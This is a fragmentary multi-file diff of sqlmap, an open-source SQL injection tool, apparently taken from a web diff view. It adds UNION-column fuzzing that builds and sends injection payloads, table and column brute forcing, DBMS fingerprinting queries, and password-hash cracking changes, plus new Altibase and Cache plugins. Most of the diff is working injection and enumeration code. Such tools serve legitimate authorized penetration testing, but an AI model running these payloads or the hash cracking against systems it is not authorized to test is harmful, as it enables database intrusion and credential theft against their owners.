if "'%s'" % CHAR_INFERENCE_MARK in payload:
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
@@ -641,8 +659,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
elif charsetType and partialValue[-1:].isspace():
+3 -3
View File
@@ -340,9 +340,9 @@ def errorUse(expression, dump=False):
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
debugMsg = "used SQL query returns "
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.debug(debugMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
+51 -5
View File
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import itertools
import logging
import random
import re
@@ -12,6 +13,7 @@ import re
from lib.core.agent import agent
from lib.core.common import average
from lib.core.common import Backend
from lib.core.common import getPublicTypeMembers
from lib.core.common import isNullValue
from lib.core.common import listToStrValue
from lib.core.common import popValue
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import FUZZ_UNION_COLUMN
from lib.core.enums import PAYLOAD
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
from lib.core.settings import MAX_RATIO
from lib.core.settings import MIN_RATIO
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
return retVal
def _fuzzUnionCols(place, parameter, prefix, suffix):
retVal = None
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
comment = queries[Backend.getIdentifiedDbms()].comment.query
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
random.shuffle(choices)
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
if retVal:
break
elif FUZZ_UNION_COLUMN.STRING not in candidate:
continue
else:
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
for column in candidate:
if column.startswith("'") and column.strip("'") in (page or ""):
retVal = [(_ if _ != column else "%s") for _ in candidate]
break
return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if content and phrase in content:
validPayload = payload
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
elif not kb.unionDuplicates:
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
vector = None
orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
# In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart
else:
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None:
msg = "do you want to (re)try to find proper "
msg += "UNION column types with fuzzy test? [y/N] "
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
if kb.fuzzUnionTest:
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "
+11 -3
View File
@@ -78,6 +78,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev
try:
kb.tableFrom = vector[9]
kb.unionTemplate = vector[10]
except IndexError:
pass
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
@@ -261,9 +269,9 @@ def unionUse(expression, unpack=True, dump=False):
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
debugMsg = "used SQL query returns "
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.debug(debugMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
+9 -5
View File
@@ -29,6 +29,8 @@ from lib.core.convert import decodeBase64
from lib.core.convert import dejsonize
from lib.core.convert import encodeBase64
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import jsonize
from lib.core.data import conf
from lib.core.data import kb
@@ -459,7 +461,7 @@ def option_get(taskid):
logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
return jsonize({"success": False, "message": "Unknown option '%s'" % option})
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options)))
return jsonize({"success": True, "options": results})
@@ -711,17 +713,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
def _client(url, options=None):
logger.debug("Calling '%s'" % url)
try:
data = None
if options is not None:
data = jsonize(options)
headers = {"Content-Type": "application/json"}
if options is not None:
data = getBytes(jsonize(options))
else:
data = None
if DataStore.username or DataStore.password:
headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)
req = _urllib.request.Request(url, data, headers)
response = _urllib.request.urlopen(req)
text = response.read()
text = getText(response.read())
except:
if options:
logger.error("Failed to load and parse %s" % url)
+14 -4
View File
@@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
from lib.core.settings import METADB_SUFFIX
from lib.core.settings import UPPER_CASE_DBMSES
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.request import inject
@@ -83,7 +84,7 @@ def tableExists(tableFile, regex=None):
pushValue(conf.db)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
conf.db = conf.db.upper()
message = "which common tables (wordlist) file do you want to use?\n"
@@ -131,7 +132,11 @@ def tableExists(tableFile, regex=None):
else:
fullTableName = table
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
if Backend.isDbms(DBMS.MCKOI):
_ = randomInt(1)
result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
kb.locks.io.acquire()
@@ -197,7 +202,7 @@ def columnExists(columnFile, regex=None):
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
@@ -250,7 +255,10 @@ def columnExists(columnFile, regex=None):
kb.locks.count.release()
break
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
if Backend.isDbms(DBMS.MCKOI):
result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
else:
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
kb.locks.io.acquire()
@@ -291,6 +299,8 @@ def columnExists(columnFile, regex=None):
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
+14 -2
View File
@@ -29,7 +29,7 @@ def checkDependencies():
logger.warn(warnMsg)
elif dbmsName == DBMS.MYSQL:
__import__("pymysql")
elif dbmsName == DBMS.PGSQL:
elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB):
__import__("psycopg2")
elif dbmsName == DBMS.ORACLE:
__import__("cx_Oracle")
@@ -41,11 +41,23 @@ def checkDependencies():
__import__("kinterbasdb")
elif dbmsName == DBMS.DB2:
__import__("ibm_db_dbi")
elif dbmsName == DBMS.HSQLDB:
elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE):
__import__("jaydebeapi")
__import__("jpype")
elif dbmsName == DBMS.INFORMIX:
__import__("ibm_db_dbi")
elif dbmsName == DBMS.MONETDB:
__import__("pymonetdb")
elif dbmsName == DBMS.DERBY:
__import__("drda")
elif dbmsName == DBMS.VERTICA:
__import__("vertica_python")
elif dbmsName == DBMS.PRESTO:
__import__("prestodb")
elif dbmsName == DBMS.MIMERSQL:
__import__("mimerpy")
elif dbmsName == DBMS.CUBRID:
__import__("CUBRIDdb")
except:
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
warnMsg += "in order to directly connect to the DBMS "
+28 -26
View File
@@ -33,7 +33,6 @@ else:
import base64
import binascii
import gc
import hashlib
import os
import re
import tempfile
@@ -248,18 +247,6 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '
return retVal.upper() if uppercase else retVal.lower()
def md4_generic_passwd(password, uppercase=False):
"""
>>> md4_generic_passwd(password='testpass', uppercase=False)
'5b4d300688f19c8fd65b8d6ccf98e0ae'
"""
password = getBytes(password)
retVal = hashlib.new("md4", password).hexdigest()
return retVal.upper() if uppercase else retVal.lower()
def md5_generic_passwd(password, uppercase=False):
"""
>>> md5_generic_passwd(password='testpass', uppercase=False)
@@ -740,21 +727,31 @@ def attackDumpedTable():
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
def hashRecognition(value):
"""
>>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC
True
>>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE
True
>>> hashRecognition("foobar") == None
True
"""
retVal = None
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes)
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
if isinstance(value, six.string_types):
for name, regex in getPublicTypeMembers(HASH):
# Hashes for Oracle and old MySQL look the same hence these checks
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
continue
elif regex == HASH.CRYPT_GENERIC:
if any((value.lower() == value, value.upper() == value)):
if isinstance(value, six.string_types):
for name, regex in getPublicTypeMembers(HASH):
# Hashes for Oracle and old MySQL look the same hence these checks
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
continue
elif re.match(regex, value):
retVal = regex
break
elif regex == HASH.CRYPT_GENERIC:
if any((value.lower() == value, value.upper() == value)):
continue
elif re.match(regex, value):
retVal = regex
break
return retVal
@@ -916,6 +913,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
proc_count.value -= 1
def dictionaryAttack(attack_dict):
global _multiprocessing
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
@@ -925,6 +924,9 @@ def dictionaryAttack(attack_dict):
processException = False
foundHash = False
if conf.disableMulti:
_multiprocessing = None
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
@@ -1111,7 +1113,7 @@ def dictionaryAttack(attack_dict):
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled")
singleTimeWarnMessage(warnMsg)
retVal = _queue.Queue()
@@ -1199,7 +1201,7 @@ def dictionaryAttack(attack_dict):
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled")
singleTimeWarnMessage(warnMsg)
class Value(object):
+2 -5
View File
@@ -93,11 +93,8 @@ class ProgressBar(object):
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
if self._amount >= self._max:
if not conf.liveTest:
dataToStdout("\r%s\r" % (" " * self._width))
kb.prependFlag = False
else:
dataToStdout("\n")
dataToStdout("\r%s\r" % (" " * self._width))
kb.prependFlag = False
def __str__(self):
"""
+2 -1
View File
@@ -13,6 +13,7 @@ from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import readInput
from lib.core.common import urlencode
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -132,7 +133,7 @@ def _search(dork):
regex = DUCKDUCKGO_REGEX
try:
req = _urllib.request.Request(url, data=data, headers=requestHeaders)
req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
conn = _urllib.request.urlopen(req)
requestMsg = "HTTP request:\nGET %s" % url
+1 -1
View File
@@ -31,7 +31,7 @@ def timeout(func, args=None, kwargs=None, duration=1, default=None):
thread.start()
thread.join(duration)
if thread.isAlive():
if thread.is_alive():
return default, TIMEOUT_STATE.TIMEOUT
else:
return thread.result, thread.timeout_state
+1 -1
View File
@@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getBanner(self):
warnMsg = "on Microsoft Access it is not possible to get a banner"
warnMsg = "on Microsoft Access it is not possible to get the banner"
logger.warn(warnMsg)
return None
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import ALTIBASE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.altibase.enumeration import Enumeration
from plugins.dbms.altibase.filesystem import Filesystem
from plugins.dbms.altibase.fingerprint import Fingerprint
from plugins.dbms.altibase.syntax import Syntax
from plugins.dbms.altibase.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Altibase methods
"""
def __init__(self):
self.excludeDbsList = ALTIBASE_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.ALTIBASE] = Syntax.escape
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
def connect(self):
errMsg = "on Altibase it is not (currently) possible to establish a "
errMsg += "direct connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+20
View File
@@ -0,0 +1,20 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getStatements(self):
warnMsg = "on Altibase it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
def getHostname(self):
warnMsg = "on Altibase it is not possible to enumerate the hostname"
logger.warn(warnMsg)
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
pass
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import ALTIBASE_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.ALTIBASE)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.ALTIBASE
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES):
setDbms(DBMS.ALTIBASE)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.ALTIBASE
logger.info(infoMsg)
# Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228
result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.ALTIBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.ALTIBASE)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
logger.warn(warnMsg)
return False
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
True
"""
def escaper(value):
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
return Syntax._escape(expression, quote, escaper)
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on Altibase it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on Altibase it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on Altibase it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on Altibase it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import CACHE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.cache.enumeration import Enumeration
from plugins.dbms.cache.filesystem import Filesystem
from plugins.dbms.cache.fingerprint import Fingerprint
from plugins.dbms.cache.syntax import Syntax
from plugins.dbms.cache.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Cache methods
"""
def __init__(self):
self.excludeDbsList = CACHE_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.CACHE] = Syntax.escape
+77
View File
@@ -0,0 +1,77 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
try:
import jaydebeapi
import jpype
except:
pass
import logging
from lib.core.common import checkFile
from lib.core.common import getSafeExString
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html
API: -
Debian package: -
License: LGPL & Apache License 2.0
"""
def connect(self):
self.initConnection()
try:
msg = "please enter the location of 'cachejdbc.jar'? "
jar = readInput(msg)
checkFile(jar)
args = "-Djava.class.path=%s" % jar
jvm_path = jpype.getDefaultJVMPath()
jpype.startJVM(jvm_path, args)
except Exception as ex:
raise SqlmapConnectionException(getSafeExString(ex))
try:
driver = 'com.intersys.jdbc.CacheDriver'
connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db)
self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
except Exception as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.initCursor()
self.printConnected()
def fetchall(self):
try:
return self.cursor.fetchall()
except Exception as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
return None
def execute(self, query):
retVal = False
try:
self.cursor.execute(query)
retVal = True
except Exception as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
self.connector.commit()
return retVal
def select(self, query):
self.execute(query)
return self.fetchall()
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from lib.core.settings import CACHE_DEFAULT_SCHEMA
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getCurrentDb(self):
return CACHE_DEFAULT_SCHEMA
def getUsers(self):
warnMsg = "on Cache it is not possible to enumerate the users"
logger.warn(warnMsg)
return []
def getPasswordHashes(self):
warnMsg = "on Cache it is not possible to enumerate password hashes"
logger.warn(warnMsg)
return {}
def getPrivileges(self, *args, **kwargs):
warnMsg = "on Cache it is not possible to enumerate the user privileges"
logger.warn(warnMsg)
return {}
def getStatements(self):
warnMsg = "on Cache it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
def getRoles(self, *args, **kwargs):
warnMsg = "on Cache it is not possible to enumerate the user roles"
logger.warn(warnMsg)
return {}
def getHostname(self):
warnMsg = "on Cache it is not possible to enumerate the hostname"
logger.warn(warnMsg)
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
pass
+113
View File
@@ -0,0 +1,113 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.session import setDbms
from lib.core.settings import CACHE_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.CACHE)
def getFingerprint(self):
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if fork is None:
if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"):
fork = FORK.IRIS
else:
fork = ""
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.CACHE
if fork:
value += " (%s fork)" % fork
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
if fork:
